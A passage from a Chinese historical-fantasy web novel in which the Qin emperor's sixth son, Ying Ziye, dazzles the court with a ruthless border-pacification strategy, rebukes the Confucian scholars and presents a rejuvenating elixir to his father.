他轻声自语,“再加一支精锐。”
脑海中已经浮现出几个合适的人选。
那个被赵高陷害的禁卫统领,还有个因直言进谏被贬的谏大夫,以及城南那个被罗网逼得走投无路的游侠……
“与其坐以待毙……”
他眼中精光暴涨,“不如主动布局!”
赢子夜突然想起,他还有几十张传讯玉符。
这是他以前秒杀攒的小玩意,只要注入真气,百里之内都能传音入密。
系统每天给的这些丹药、**,放在外界哪样不是让人抢破头的至宝?
只要以后多留心查查,最近有哪些人被逼得走投无路……
不就能轻松组建一套只属于自己的班底了吗?!
只不过,想法虽然很简单。
做起来,可就难了!
赢子夜走到装满丹药的木箱前,蹲下身,愁眉苦脸地扒拉着里面的瓶瓶罐罐。
“主要还是没根基……”
他长叹一声,随手抓起一把筑基丹,又意兴阑珊地扔了回去。
这些价值连城的丹药,现在堆在他这儿跟糖豆似的。
“养人得要钱,买消息得要钱,打造兵器更得要钱……”
他掰着手指头算着,越算脸越垮,“就朝廷每月给的那点例银,连个像样的酒楼都盘不下来。”
目光扫过角落里的几个玉瓶,赢子夜突然眼前一亮。
他手脚并用地爬过去,从最底层扒拉出一个紫檀木匣。
第6章 大秦六公子屡献毒计!
“就以长城为题。”
始皇帝拂袖转身,玄色帝袍上的龙纹在烛光下泛着冷芒。
“说说你们的见解。”
胡亥眼中精光一闪,迫不及待地跨步出列!
“父皇圣明!长城乃千秋伟业,拒匈奴于塞外,保我大秦万世太平!”
他满脸谄媚,声音越说越高:“儿臣每每思及此,便对父皇的雄才伟略……”
始皇帝面无表情地听着,指节在龙榻扶手上轻轻叩击。
那节奏不紧不慢,却让赵高后背渗出一层冷汗——
陛下这是…不满意?
紧接着,扶苏也深吸一口气,上前拱手道:“父皇,儿臣以为,修筑长城劳民伤财,征调民夫致使田地荒芜……”
话音未落,淳于越等儒臣已频频点头,面露赞许之色。
始皇帝的眼神却骤然转冷,殿内温度仿佛瞬间降至冰点!
他隐忍不发,转向其他人。
其余公子见状,纷纷谨慎作答,言辞间滴水不漏,却也无甚新意。
最后,所有人的目光都不约而同地落在赢子夜身上。
只见这位六公子慢悠悠地出列,玄色锦袍上的螭纹随着他的动作若隐若现。
他先是漫不经心地掸了掸衣袖,这才抬头迎上始皇帝的目光,嘴角噙着一抹从容的笑意。
“父皇修筑长城,拒匈奴于塞外,实乃雄才伟略!”
始皇帝眸光微黯,指节在龙榻扶手上轻轻一叩。
眼中闪过一丝不易察觉的失望。
他缓缓靠回椅背,玄色帝袍上的龙纹在烛光下显得格外冷峻。
又是个只会阿谀奉承的……
这个念头在帝王心头掠过,带着几分自嘲。
他垂下眼帘,遮住了那一闪而逝的落寞。
看来昨夜那道惊天剑影,终究与这个儿子无关。
也是。
一个连《商君书》都背不全的公子,怎可能……
“不过——”
这两个字如惊雷炸响,始皇帝猛地抬头。
只见殿下那个素来不起眼的六子,此刻的眼中,闪烁着令人心惊的光芒。
帝王的心跳突然漏了一拍。
那眼神他太熟悉了!!
那是当年在邯郸为质时,他在铜镜中看到的,属于自己的眼神!
而这一声转折,如惊雷炸响,满朝文武都为之一震!
只见这位六公子直起身子,玄色锦袍上的螭纹在晨光中熠熠生辉。
“儿臣才疏学浅,却也有一得之愚。”
“要想永定大秦边疆,非一法可为之!”
“轰——!”
殿内顿时一片哗然。
博士淳于越手中的笏板“啪嗒”落地,李斯猛地抬头,就连一直玩世不恭的胡亥都瞪大了眼睛。
始皇帝的身形微微前倾,眼中精光暴涨:
“说下去。”
赢子夜不慌不忙地踱了两步,袖袍轻拂间自有一番气度。
“长城固可阻一时之祸,却难保永世太平。”
他目光灼灼地望向龙榻上的帝王:“儿臣以为,当追根溯源!”
“哦?”
始皇帝的声音带着几分危险的意味:
“何为根源?”
赢子夜却从容转身,目光如炬地望向蒙恬:“敢问蒙将军,蛮夷何时侵扰边疆最为频繁?”
蒙恬虎目微睁,沉声道:“寒冬时节!”
“正是!”
赢子夜抚掌轻笑,那笑声中透着几分令人心惊的锐利。
“只因冬日草原物资匮乏,他们才不得不南下劫掠。”
他缓步踱至大殿中央,玄色锦袍上的螭纹随着步伐若隐若现。
“但诸位可曾想过?那些普通牧民,当真愿意提着脑袋来犯我边境?”
此言一出,满朝文武神色各异。
李斯若有所思地捋须,淳于越等儒臣则面露诧异。
“儿臣建议……”
赢子夜突然提高声调:“开通互市!以商代战!”
殿内顿时一片哗然!!
“蛮夷战马精良,而我大秦盛产粮食、布匹。”
他继续道,声音清朗如金玉相击:“各取所需,岂不美哉?”
王贲突然跨步出列,铠甲铿锵作响:“六公子此言差矣!并非所有蛮夷都安于生计,也有不少人属于好战之辈!”
“王将军别急。”
赢子夜轻笑打断,那笑容中带着几分危险的意味:“本公子还没说完。”
他转身面向始皇帝,眼中精光暴涨。
“正如王将军所言,蛮夷王庭确有狼子野心,但……”
话音一顿,赢子夜突然冷笑出声:“若是底层牧民能吃饱穿暖,谁还愿为王庭卖命?”
他袖袍一甩,声音陡然转冷:
“但若是蛮夷王庭想战?呵——”
这一声冷笑如同寒冰刺骨,让满朝文武都不由打了个寒颤。
始皇帝眸光骤亮,指节不自觉地敲击着龙榻扶手。
他死死盯着殿下的六子,仿佛要看穿这副皮囊下的真面目。
这个儿子…竟有如此见识?!
紧接着,赢子夜负手而立,嘴角噙着一抹意味深长的笑意,继续说道:“诸位可曾见过市井泼皮斗殴?”
这突如其来的问题让满朝文武为之一愣。
始皇帝眉峰微挑,眼中闪过一丝兴味。
“若想劝架……”
赢子夜突然握拳,骨节发出清脆的“咔吧”声:“光靠嘴皮子可不行。”
他猛地张开手掌,一道看不见的真气在掌心流转:“还得是这个——”
“打得一拳开,免得百拳来!!!”
真气外放,使得八字如雷,震得殿梁微颤!
蒙恬虎躯剧震,那双常年握剑的手竟不由自主地颤抖起来。
这位横扫匈奴的猛将瞪圆了虎目,瞳孔中倒映着那道尚未散尽的真气余韵。
王贲“噔噔噔”连退三步,铠甲碰撞声在寂静的大殿中格外刺耳。
他下意识按住剑柄,却发现自己引以为傲的佩剑,此刻竟在鞘中嗡鸣不止!
“啪嗒!”
李斯手中的**笏板跌落在地。
“这…这是…”
淳于越等儒生面如土色,有几个甚至双腿发软,直接跪坐在地。
“哈哈哈——”
始皇帝的笑声突然炸响,如惊雷般震得殿瓦颤动。
帝王霍然起身,玄色帝袍上的龙纹仿佛活了过来,在真气余波中张牙舞爪!
“彩!彩!彩!”
他一连说了三个“彩”字,每个字都重若千钧。
那双横扫六合的眼睛
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此刻精光暴涨,死死盯着殿下的六子,仿佛要将他看穿。
帝王的手不自觉地抚上定秦剑,剑鞘上的铭文正泛着前所未有的血光。
多少年了……
自一统天下后,他还是第一次感到如此兴奋!!!
赵高藏在袖中的手指深深掐入掌心,鲜血顺着指缝滴落。
他死死盯着赢子夜挺拔的背影,眼中满是难以置信!
这个废物,怎么可能?!
而就在这时。
群臣之中,冯去疾却皱着眉头出列:“公子此言差矣!若互市之后,蛮夷借机壮大,贼心不死,又如何?”
第5章定边之策,满朝议论,儒家反对!
“冯大人。”
赢子夜不慌不忙地打断,眼中寒光乍现:“您可知道狼是怎么驯化的?”
不等回答,他自顾自继续道:“先打断它的腿,再给它治伤。”
“如此反复,它才会明白——”
“谁才是主子。”
最后五个字轻若呢喃,却让冯去疾不由自主地后退半步!
赢子夜转身面向龙榻,声音陡然提高:
“互市要开,刀剑更要利!”
“他们要粮食,我们就要战马!”
“他们要丝绸,我们就要他们的牛羊!”
他眼中闪烁着令人心惊的锋芒:“若敢有二心……”
“那就再打断他们的狗腿!”
始皇帝霍然起身,玄色帝袍无风自动。
他死死盯着殿下的六子,眼中燃烧着久违的战意!
这个儿子…竟将王霸之道融会贯通至此?!
帝王的目光扫过面露忧色的扶苏,又瞥向低眉沉静的胡亥,以及正在大眼瞪小眼的众公子们。
最后落回赢子夜身上时,嘴角勾起一抹近乎狰狞的笑意——
这!
才是他嬴政的儿子!!!
然而,一道声音却打断了所有人的思绪。
“六公子想的太简单了!”
淳于越颤巍巍地出列,花白胡须气得直抖:“如此周而复始,匈奴岂能尽灭?每年寒冬不还是会来劫掠犯边?”
赢子夜突然轻笑出声,那笑声让老儒生不自觉地住了口。
“淳于博士急什么?”
他慢条斯理地整了整衣袖,眼中闪过一丝令人心悸的寒光。
“本公子的永定之策,这才说到一半呢。”
殿内骤然一静!
始皇帝不自觉地前倾身体,帝袍上的玄鸟纹在烛光下栩栩如生。
“父皇一统六国,书同文,车同轨……”
赢子夜突然转向龙榻,声音陡然提高:“此等丰功伟业,岂能不广传草原?”
史官手中的毛笔“啪”地折断。
他死死盯着这位六公子,突然明白了什么,脸色瞬间一变!
“我们要让匈奴各部知道……”
赢子夜的声音如毒蛇吐信:“唯有统一,才能换来永世太平!”
王贲倒吸一口凉气,铠甲下的肌肉瞬间绷紧。
这个计策……太毒了!
“届时。”
赢子夜突然露出一个令人毛骨悚然的微笑:“草原各部互相攻伐,待其两败俱伤之际!”
他猛地抬手,做了个斩首的动作!
“我大秦铁骑再一举荡平!!!”
第7章 有此毒策,大秦边疆可定!
“嘶——”
满朝文武齐刷刷倒吸一口凉气。
就连杀伐果断的蒙恬都不由自主地后退半步,仿佛第一次认识这位六公子。
淳于越直接懵了。
嘴唇哆嗦着说不出话来。
他那双布满老年斑的手死死抓着衣襟,指节泛白,仿佛抓住最后一根救命稻草。
花白胡须气得直抖,宽大的儒袍随着他激动的动作不停摆动。
他对着始皇帝深深一揖,枯瘦的手指紧紧攥着**笏板,指节泛出青白色,声音发颤!
“陛下!老臣……老臣……”
他几次欲言又止,最后猛地抬头,浑浊的老眼中泛起泪光。
“六公子此计太过毒辣,有违圣人之道啊!”
淳于越跪伏在地,额头重重磕在冰冷的黑砖上。
“《论语》有云:己所不欲,勿施于人。”
“今使蛮夷自相残杀,此乃灭绝人性之举!老臣恳请陛下三思!”
说完,他又直起身子,枯瘦的手指指向赢子夜,激动地喊道:“公子岂不闻仁者爱人?”
“如此毒计,与蛮夷何异?”
“若推行此策,我大秦与虎狼何异?”
“后世史书将如何评说陛下?!”
嘶哑的声音在大殿内回荡,淳于越剧烈咳嗽起来,佝偻的背脊不住颤抖,却仍倔强地昂着头,死死盯着龙榻上的帝王!
赢子夜冷笑一声,缓步出列。
玄色锦袍上的螭纹在烛光下泛着冷芒。
“毒辣?”
“淳于博士可知,去年寒冬,北地**多少戍边将士?”
他猛地提高声调!
“三千七百二十八人!!!”
这个数字如重锤砸下,震得殿内一片死寂。
“你们张口仁德,闭口仁义!”
赢子夜袖袍一挥,指着那群儒生厉声喝道。
“我大秦儿郎马革裹尸时,你们在哪?”
“疆百姓家破人亡时,你们又在哪?!”
他一步步逼近淳于越,每说一字,声音便高一分!
“当匈奴人的弯刀砍向边关妇孺时!”
“当大秦将士血染黄沙时!!”
“当百姓家破人亡、易子而食时——”
他突然俯身,几乎贴着淳于越的耳朵,一字一顿道:
“你、们、的、圣、人、在、哪?!”
淳于越浑身剧颤,老脸涨得通红,喉头哽住,一个字也说不出来!
其他儒生纷纷低头,不敢直视赢子夜的目光!
“没有?”
赢子夜冷笑。
“那就给本公子闭嘴!”
他猛地转身,对着龙榻单膝跪地。
“儿臣**,让这些大儒亲赴边关,看看他们的圣贤书能不能挡住匈奴人的弯刀!”
“放肆!”
一名年轻儒生忍不住厉喝。
“放肆的是你!”
赢子夜霍然起身,周身真气鼓荡,震得殿内烛火齐齐一暗!
“边疆将士用命换来的太平,岂容你们在此大放厥词!”
淳于越再也支撑不住,彻底瘫软在地,老泪纵横,眼中的最后一丝希冀也熄灭了。
始皇帝端坐龙榻。
指节在鎏金扶手上轻轻一叩。
殿内霎时寂静。
帝王的目光缓缓扫过瘫坐在地的淳于越。
又掠过那群面如土色的儒生。
那双如渊般深邃的眼眸中,闪过一丝几不可察的快意!!
骂得好!!!
这个念头在心底掠过,带着多年积压的郁气!
多少年了,这些腐儒整日在他耳边聒噪,张口仁政闭口德治。
朕横扫六合时,何曾靠过这些虚言?!
子夜那番掷地有声的质问,字字句句都像是从他心坎里掏出来的。
始皇帝微微后仰,玄色帝袍上的龙纹在烛光下若隐若现。
他望着殿下挺拔如松的六子,忽然想起多年前在邯郸为质时……
此子,倒是像极了当年的朕!!!
这个认知让帝王心头微热!
但他很快收敛心神,面上依旧是不怒自威的肃穆。
只是那微微上扬的唇角,到底泄露了一丝欣慰。
而淳于越等人,则是面如土色,有几个甚至双腿发软,直接跪坐在地。
他们求助地看向扶苏,却发现这位长公子正低头盯着自己的鞋尖,一言不发。
赢子夜冷眼扫过这群儒生,心中嗤笑!
就这点胆量,也配谈什么仁义?
他转身时,正对上始皇帝灼热的目光。
那眼神中满是赞赏,更有一丝…找到知己的喜悦。
父皇……
赢子夜心中微动。
他知道这些年,被这群腐儒气得够呛的不止他一个。
而始皇帝的手指也是深深陷入龙榻扶手,木屑簌簌落下。
随后,又缓缓放松。
他死死盯着殿下的六子,眼中燃烧着近乎狂热的火焰——
好子夜!好儿子!
够狠!够绝!够…像他!
帝王突然仰天大笑,笑声震得殿瓦颤动:“彩!好一个定边之策!”
就连殿中群臣亦是神色各异。
李斯手中的竹简被捏出汗渍。
这位素来沉稳的丞相瞳孔微缩,心中掀起惊涛骇浪。
这…这真是那个整日游手好闲的六公子?
如此口才,如此毒计……
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那些儒生几乎不是他的一合之敌!
而且,他的策略,还与陛下当年灭六国的谋略如出一辙!!!
蒙恬不自觉地摩挲着剑柄,虎目中精光闪烁!
草原各部若真能统一。
我大秦铁骑便可直捣黄龙!
再不必年年戍边!
王贲突然想起什么,铠甲下的肌肉绷紧!
等等!
如此一来,匈奴战马岂不是…尽归大秦?!!
他眼前仿佛浮现出大秦铁骑横扫草原的景象,呼吸都不由急促起来。
“妙啊!”
九卿之一,治粟内史突然一拍大腿,那双常年与钱粮打交道的老眼精光四射!
“互市可换良驹,待其内耗……”
话到一半突然噤声,偷眼瞥向龙榻。
这位掌管国库的老臣脑中思绪飞转——
草原部落散若繁星,追之不及,剿之不尽。
陛下这些年修筑长城,非是不能胜,实是难尽灭啊!
他偷瞄了一眼蒙恬,见这位戍边大将也在微微颔首。
那些蛮子打不过就往漠北逃,茫茫草原,追剿何其难也!
“但若……”
治粟内史突然福至心灵,声音都颤抖起来:“若能令其自相残杀,最终一统。”
他仿佛看到了一幅画面:
草原各部在互市诱惑下互相征伐,最终形成一个统一的王庭。
“到那时……”
老臣激动得胡须直抖!
“我大秦铁骑只需攻破其都城,便可永绝后患!!”
蒙恬突然重重咳嗽一声,治粟内史这才惊觉失态,慌忙跪伏:“老臣失仪……”
始皇帝却并未怪罪,反而意味深长地看了赢子夜一眼。
这小子,竟连这点都想到了?
李斯也在一旁暗暗心惊!
草原部落素来逐水草而居,行踪飘忽。
可若有了都城……
他突然打了个寒颤,仿佛看到大秦铁骑踏平匈奴王庭的景象!!
赵高藏在袖中的手微微发抖。
好狠的计策!
他偷眼看向胡亥,却发现这位素来骄纵的十八公子,此刻正面无表情,双眼却眯成了一条缝。
“陛下……”
冯去疾颤声开口,却在迎上始皇帝目光时猛地噎住。
他不敢再说!
因为那眼神,分明是当年横扫六国时才有的锋芒!!!
始皇帝缓缓起身,玄色帝袍上的龙纹在烛光下熠熠生辉。
他目光灼灼地注视着赢子夜,仿佛在看一件稀世珍宝——
一统!
好一个一统!
当年他灭六国时,不正是先令其互相攻伐?
第8章 六公子献宝!
“六公子此言……”
李斯突然深吸一口气:“倒是让老臣想起陛下当年灭韩时的手段。”
赢子夜微微一笑,朝着龙榻深深一礼:“儿臣不过是拾父皇牙慧罢了。”
“若非父皇一统六国的壮举,儿臣岂能想到此策?”
始皇帝突然大笑,笑声震得殿瓦簌簌作响。
多少年了……
还是第一次有人将他的帝王术,用得如此淋漓尽致!
群臣互相对视,同时看到各自眼中的震撼。
这位六公子…深藏不露啊!
而李斯的指尖则无意识地摩挲着腰间玉带,指腹感受着玉质的温凉。
朝臣们的争论声在他耳中渐渐淡去,化作一片模糊的嗡鸣。
扶苏……
这个念头在他心底泛起,带着几分阴冷的算计。
那位温润如玉的长公子,如今已彻底倒向儒家。
淳于越之流整日围着他转,张口闭口都是仁政德治。
若他继位……
李斯胃部突然一阵绞痛。
他仿佛看到了自己被贬黜的场景。
法家典籍被焚,商君之法被废!
而他李斯,只能跪在咸阳街头,眼睁睁看着那些儒生趾高气扬地出入朝堂。
至于赵高……
思绪一转,又想到那条毒蛇。
那阉人扶持的胡亥,表面天真烂漫,背地里却是各种心思城府。
李斯的手指突然收紧,玉带的纹路深深印入掌心。
他太清楚赵高的手段。
狡兔死,走狗烹。
若胡亥上位,他李斯怕是第一个要被清算的。
正盘算着,
突然一阵清朗的笑声突然闯入思绪。
李斯心神一震,脑海中浮现出方才赢子夜在朝堂上的风采。
那锋芒毕露的谈吐,那杀伐决断的气势……
此子,
竟藏得如此之深?!
他细细回味着赢子夜提出的边策,每一条都暗合法家精髓。
以商弱敌,以战止战,这不正是……
陛下当年的手段!!!
李斯突然感到一阵战栗。
多少年了,还是第一次有人将法家的“术”与“势”运用得如此淋漓尽致!
或许……
这个念头在他心底生根发芽。
扶苏亲近儒家,胡亥依附赵高,而这位六公子……
未尝不是良木。
李斯缓缓吐出一口浊气。
他忽然意识到,自己正站在一个关键的十字路口。
这个选择,或将决定他…乃至整个大秦的未来!
而此刻的赢子夜,正保持着挺拔站姿于大殿之中。
见到群臣的表情,心里不由得松了口气。
刚才那些话,能说进始皇帝的心坎儿里,便算是成功一半了。
忽然间!
他后颈汗**倒竖!!
杀气?
他面上依旧带着从容的笑意,袖角却微微一沉。
眼角余光扫过殿柱阴影处!
赵高正垂首侍立,苍白的手指拢在袖中,看似恭敬温顺。
可那一闪而逝的阴冷目光,却如毒蛇吐信!
只见他死死攥着衣袖,指甲刺入掌心都浑然不觉。
毕竟,他以前从未见过陛下用这样的眼神……
看一个儿子。
赢子夜唇角微勾,指节在虚空中轻轻一叩!
“呼——!”
气息流动的风声,在殿内回荡。
赵高下意识抬头,正撞上一道锐利如剑的目光!
只见赢子夜似笑非笑的看着他,眼中寒芒乍现。
那一瞬,赵高如坠冰窟,仿佛有柄利剑直指咽喉!
这是……警告?
赵高仓皇垂首,宽大的衣袖掩盖着颤抖的手指。
他分明看到,赢子夜眸中闪过的,是真正的杀意!!!
更可怕的是……
那道目光中,还带着几分猫戏老鼠般的戏谑!
赵高后背瞬间被冷汗浸透。
他死死掐着掌心,直到鲜血顺着指缝滴落,才勉强稳住心神。
这六公子,何时有了这般威势?
再抬头时,赢子夜已将目光远离。
玄色袍角翻飞间,脚下青光流转——
那分明是……
剑气!!!
赵高瞳孔骤缩!
他突然意识到,自己可能严重低估了这位“废物”公子。
而赢子夜则负手而立,嘴角噙着一丝冷笑。
他轻轻跺脚,一缕青色真气悄然消散在风中。
老狐狸。
咱们…来日方长。
……
此时此刻。
龙榻之上。
始皇
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帝微微颔首,目光在赢子夜身上停留片刻,指节轻轻叩击扶手,声音沉稳而威严。
“子夜此策,确有可取之处。”
他的语气平淡,仿佛只是在评价一件寻常政务,可那双深邃的眼眸中却闪过一丝难以察觉的赞许。
帝王的目光扫过殿内群臣,最终落在李斯身上。
“李斯,此事交由你与治粟内史共同拟定细则,三日后呈报于朕。”
李斯立刻躬身领命。
“臣遵旨。”
他低垂的眼帘下,思绪却已飞快转动。
六公子今日展现出的手段,远超他的预料。
若能借此机会与之接触,或许……是个不错的选择。
毕竟,扶苏亲近儒家,胡亥依附赵高。
而这位六公子,既有帝王之术,又暗藏锋芒!
李斯不着痕迹地瞥了一眼赢子夜,心中已有了计较。
然而,就在即将退朝之际。
赢子夜却缓步上前,玄色衣袍在烛光下泛着微光。
他微微躬身,声音不疾不徐。
“父皇,儿臣近日偶得一物,愿献与父皇。”
始皇帝眉梢微动,目光落在他身上,语气平淡却暗含审视。
“哦?何物?”
赢子夜从怀中取出一方锦盒,盒面绣着暗纹,朴素却透着几分不凡。
他双手奉上,唇角噙着一丝若有若无的笑意。
“此物或许对父皇略有助益。”
赵高眼中闪过一丝阴翳,却还是快步上前接过锦盒。
他指尖刚触到盒盖,便觉一股温润之意透过指尖传来,心中不由一凛。
待他小心翼翼打开盒盖的刹那——
“嗡——”
一股清冽药香骤然弥漫大殿,如春风拂过,竟让满朝文武精神为之一振!
那香气不似凡俗,闻之令人通体舒泰,连呼吸都轻快了几分。
群臣之中,月神银发下的眸子猛然一缩,素来平静的面容浮现一丝惊诧!
她修**阴阳术多年,对天地灵气最为敏感,此刻竟从那药香中感受到了一股精纯至极的灵力!!!
始皇帝目光一凝,视线落在锦盒中那颗龙眼大小的丹药上。
丹药通体晶莹,表面流转着七彩霞光,内里似有云雾氤氲,一看便知不是凡品。
第9章 仙人入我梦,授父皇以长生!
“这是……”
帝王的声音依旧沉稳,但指节却不自觉地在龙榻扶手上收紧。
同时,殿内一片寂静,所有人的目光都聚焦在那枚流光溢彩的丹药上。
始皇帝凝视着掌心的洗髓丹,眼中闪过一丝深邃的光芒。
他缓缓开口,声音低沉而威严。
“子夜,此物从何而来?”
赢子夜神色从容,微微欠身道。
“回父皇,昨夜儿臣梦中得见仙人,言及父皇功盖三皇五帝,特赐此丹以助父皇延年益寿。”
轰!
此话一出!
满场寂然!
始皇帝的手指微不可察地颤了一下。
“延年…益寿?”
帝王的声音依旧沉稳,但那双如渊般深邃的眼眸中,却骤然掀起惊涛骇浪!!
指节无意识地摩挲着腰间定秦剑的纹路,鎏金剑鞘上的玄鸟纹竟被捏出几道细微的裂痕。
殿内骤然响起一片倒吸冷气的声音!
蒙恬虎目圆睁,呼吸都停滞了。
就连向来沉稳的李斯,此刻也忘了维持宰相威仪,嘴唇微微发抖。
月神的银发无风自动。
她清晰地看到,当“延年益寿”四字出口时,始皇帝玄色帝袍下的身躯,分明有一瞬的僵硬。
那双向来稳如磐石的手,此刻正以极其细微的幅度颤抖着!!
帝王突然起身,九旒冕上的玉珠碰撞出清脆的声响。
当他在锦盒前站定时,所有人都看到——
这位横扫六合的祖龙,在俯视丹药时,眼中闪过的竟是近乎虔诚的光芒!
“陛下!”
赵高突然上前一步,声音尖细中带着几分急切。
“此丹来历不明,按例当先由太医验看,再命人试药才是!!”
他弓着身子,眼角余光却撇向赢子夜,心中惊疑不定。
这废物公子何时竟能得仙人垂青?
始皇帝的目光缓缓转向赵高。
那一瞬间,
仿佛有雷霆在殿中炸响!!
他的眼神锐利如刀,带着令人窒息的压迫感,仿佛能洞穿人心最深之处。
赵高只觉得一股寒意从脚底直窜天灵盖,后背瞬间被冷汗浸透!
那目光中蕴含的威严,如同泰山压顶般令人喘不过气!
赵高不由自主地屏住呼吸,连指尖都在微微颤抖。
他分明看见始皇帝眼底闪过的寒光。
那是曾经坑杀儒生、夷平六国时的眼神。
让人不寒而栗!!!
大殿内的空气仿佛凝固了,所有人都感受到那股令人窒息的压迫感。
烛火诡异地停止了跳动,连呼吸声都消失不见。
始皇帝只是静静地注视着赵高,却让这位宠臣感到前所未有的恐惧。
“朕,自有分寸。”
短短四个字,声音不大却如同惊雷炸响。
那语气平静得可怕。
每个字都像是从九幽之下传来,带着不容置疑的威严。
赵高浑身一颤,本能地后退了半步,膝盖发软几乎要跪倒在地!
他从未如此清晰地感受到死亡的威胁。
仿佛只要再多说一个字,就会当场血溅五步!
收回目光的瞬间,帝王用那修长的手指缓缓拈起那枚丹药,在众目睽睽之下,毫不犹豫地送入口中。
丹药入口即化,一股暖流瞬间流遍四肢百骸!!
殿内一片死寂。
所有人的目光都死死盯着始皇帝。
只见帝王服下丹药后,眉头突然紧锁,额角渗出细密的汗珠。
一股难以言喻的痛楚在他刚毅的面容上闪过!
但他始终紧咬牙关,不发一言!
突然,一股腥臭之气从始皇帝身上散发出来。
那气味如同腐肉混杂着淤泥,令人作呕。
赵高脸色大变,尖声叫道:“丹药有毒!快将这逆贼拿下!!!”
他手指颤抖地指向赢子夜,眼中闪烁着阴狠的光芒!
殿外侍卫闻声而动,刀剑出鞘的寒光在殿内闪烁!
然而赢子夜却依旧从容不迫地站在原地,嘴角甚至带着一丝若有若无的笑意。
他负手而立,目光平静地注视着始皇帝,仿佛对眼前的骚动视若无睹。
就在这千钧一发之际。
一道银光闪过!
月神身形如鬼魅般出现在始皇帝身侧。
素手轻抬,一道柔和的内力缓缓渡入帝王体内。
她的银发无风自动,面纱下的双眸突然睁大,流露出难以置信的神色!!
“果然!”
月神清冷的声音让躁动的朝堂为之一静。
“陛下体内…正在发生惊人的变化。”
始皇帝此刻虽然面色痛苦,但眼中却闪烁着异样的光彩!
他感受到一股暖流在经脉中奔涌,所过之处如同烈火灼烧,却又带着新生的舒畅!
那些旧年征战留下的暗伤,那些批阅奏章积累的疲惫,正在被这股神奇的力量一点点修复!!
“陛下体内浊气外排,经脉重塑。”
月神的声音带着几分颤抖,这是她多年来第一次如此失态。
“此丹…竟真有洗髓伐**之效!!!”
始皇帝缓缓抬起手臂。
只见皮肤表面渗出黑色的污垢,但底下的肌肤却以肉眼可见的速度变得光滑紧致!!
同时,殿门轰然洞开!
数名披甲执锐的禁卫冲入殿内,刀锋直指赢子夜。
始皇帝猛然睁眼,一声暴喝如雷霆炸响。
“放肆!!!”
这一声怒喝震得殿内烛火齐齐一暗,冲在最前的禁卫竟被这声浪震得踉跄后退。
始皇帝袍袖一挥,一股无形气劲横扫而出,将那些兵士尽数掀翻在地!
“赵高!”
始皇帝目光如电,直刺向那位中车府令。
“朕还没死,这朝堂之上,何时轮到你发号施令了?!”
赵高浑身剧颤,扑通一声跪倒在地,额头重重磕在冰冷的黑砖上。
“陛下息怒!老奴…老奴只是担心陛下龙体……”
始皇帝冷哼一声,不再理会赵高的辩解,重新闭上双眼。
此刻他体内正经历着翻天覆地的变化,经脉中奔涌的灵力如同江河决堤,冲刷着每一寸血肉。
那些常年积累的暗伤淤毒,正化作黑色浊气从毛孔中不断渗出。
渐渐地,始皇帝周身开始泛起淡淡的金色光晕。
那光芒并不刺眼,却带着令人敬
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畏的威严,如同初升的朝阳般温暖而神圣。
殿内众臣不由自主地屏住呼吸。
就连月神也微微后退半步,眼中满是震撼!!
当最后一丝浊气排尽,始皇帝猛然睁开双眼。
那一瞬间,整个章台宫仿佛都为之一震!
他的眼眸比往日更加深邃明亮,目光所及之处,群臣无不低头避让,不敢直视!
“哈哈哈!!!”
始皇帝突然仰天长笑,笑声如龙吟般在殿内回荡,震得梁柱微微颤动。
他缓缓起身,玄色帝袍突然无风自动,袍角翻涌如云海怒涛。
周身散发出的威压如有实质。
殿内空气仿佛瞬间凝固。
所有人都感到胸口如压千钧重石,连呼吸都变得艰难起来!
此刻的始皇帝,面容上的皱纹已然消失不见,皮肤泛着玉石般的光泽。
那双眼睛比从前更加深邃锐利!
目光所至,群臣无不低头垂首,连与之对视的勇气都没有。
他的眉宇间凝聚着一股前所未有的威严。
仿佛有真龙之气在周身流转!
随着他的动作,大殿地面竟微微震颤,竟也承受不住这股磅礴的威势。
烛火,诡异地静止不动。
连影子都凝固在地面上。
始皇帝仅仅是站在那里,就给人一种顶天立地、俯瞰众生的感觉!
宛如一尊苏醒的远古神祇!
他抬手轻抚腰间定秦剑,剑鞘上的铭文突然绽放出耀眼的金光!
那光芒映照在他棱角分明的面容上,更添几分神圣不可侵犯的威严。
这一刻的嬴政,仿佛真的化身为祖龙降世!
举手投足间,都带着令天地变色的气势。
殿内群臣不由自主地后退数步,就连月神这样的高手也感到一阵心悸。
赵高更是直接瘫软在地,浑身颤抖如筛糠!
所有人都真切地感受到。
眼前的帝王,已经不再是凡人,而是真正具备了睥睨天下的龙威。
始皇帝嘴角微扬,露出一个似笑非笑的表情。
这个简单的动作却让在场众人心头剧震。
仿佛看到了当年那个横扫六合、气吞山河的年轻帝王重现人间!!
紧接着。
殿内百官纷纷跪伏在地,额头紧贴冰冷的地砖,声音颤抖着齐声高呼!!
“恭贺陛下得此仙缘!”
他们的嗓音里透着掩饰不住的敬畏。
不少人甚至不敢抬头直视始皇帝焕然一新的面容。
赢子夜负手而立,眼角余光扫过殿内众人的反应。
他清楚地看到,那些往日对他不屑一顾的朝臣们,此刻看向自己的眼神已经彻底变了。
从轻视变成了震惊。
甚至带着几分畏惧!
他知道,这枚洗髓丹不仅改变了父皇。
更彻底改变了自己在朝堂上的处境。
赵高跪在殿角,苍白的面容上堆满谄媚的笑容。
但那笑意,却未达眼底。
他低垂的眼睑下,阴鸷的目光不断闪烁。
宽大的袖袍掩盖着紧握到发白的指节!
这位如日中天的中车府令,此刻正在心中飞速盘算着新的对策。
第10章 赐大秦六公子开设门客之权!
与此同时。
扶苏站在百官前列。
温润如玉的面容罕见地出现了几分僵硬。
他修长的手指无意识地摩挲着腰间玉佩,目光在赢子夜和始皇帝之间来回游移。
嘴唇微微颤动。
似乎想说些什么,最终却只是沉默地低下头。
而胡亥则蜷缩在殿柱旁,将整张脸都藏在阴影里。
他死死咬着下唇,指甲深深掐入掌心,眼中翻涌着怨毒与嫉妒。
那枚被他捏碎的玉佩碎片刺入皮肉。
鲜血顺着指缝滴落,他却浑然不觉!
始皇帝将这一切尽收眼底,嘴角勾起一抹意味深长的弧度。
他缓步走向赢子夜,玄色帝袍拖曳在地,发出沙沙的声响。
每一步都仿佛踏在众人心头,让殿内气氛愈发凝重!
“子夜。”
始皇帝的声音比往日更加浑厚有力。
“你今日之功,朕记下了!!!”
这简单的一句话,却让赵高的身躯微不可察地颤抖了一下!
他太了解这位帝王了——
能让陛下说出“记下”二字。
这份量,可比加官进爵还要重得多!!!
赢子夜从容行礼,姿态恭敬却不卑微。
“能为父皇分忧,是儿臣的本分。”
他的声音平静如水,却让在场所有人都听出了其中的深意。
殿外,阳光透过窗棂,将赢子夜的身影拉得很长。
那影子投映在光洁的黑砖地面上,竟隐约显出龙形之姿!
与始皇帝的影子交相辉映。
